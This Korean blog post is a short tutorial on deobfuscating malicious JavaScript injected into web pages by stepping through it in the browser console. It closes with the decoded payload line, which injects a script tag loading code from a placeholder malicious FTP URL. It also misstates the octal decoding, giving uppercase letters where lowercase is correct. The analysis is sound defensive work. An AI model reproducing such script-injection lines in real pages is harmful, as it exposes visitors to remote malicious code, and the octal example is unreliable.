본문 바로가기
분석 TIP/정적분석

JavaScript 난독화 분석

by 두유노우컴퓨터 2025. 4. 23.

HTML 소스 내부 중간에 삽입 된 난독화된 자바스크립트 아래와 같은 방법으로도 분석이 가능하다.

Notepad++로 불러와서 JSFormat 플러그인을 통해 코드 정렬을 해준다.

난독화 소스

 

크롬 및 엣지 브라우저를 열기 -> 개발자도구를 실행 -> Console 탭 이동

브라우저 엔진을 통해 문단 별로 해석해서 디버깅을 하는 것이다.

 

그냥 소스를 붙혀넣기 하면 'allow pasting' 오류가 발생하기 때문에 먼저 해당 명령을 입력해 준다.

명령 입력

 

그리고 해당 소스코드의 변수 선언 및 초기화라고 생각 되는 부분을 먼저 실행시킨다.

초기화 및 정의

 

우선적으로 변수 초기화 및 정의를 한 후 다음 이어지는 문단 (JavaScript 기준 ;로 구분)을 실행시켜 본다.

명령어 확인

 

최종 코드에는 실제 실행 시키는 코드가 들어가 있기 때문에 이를 제외하고 확인해야한다. 자바스크립트의 경우 ()는 함수 호출을 의미하므로 뒷부분에 ()를 빼고 돌려보자. 2개 있다. ())() 이런 형태로 말이다.

 

실행시키면 최종 외부 URL이 나온다.

최종 결과

 

\\(8진수) 이건 오랜된 자바스크립트에서 자주 사용하던 방식이다. 이걸 10진수로 바꾸면 아스키코드상 \\155 = M , \\156=N 이렇게 변환된다.

return "document.write(\"<script src='ftp://악성URL'></script>\");"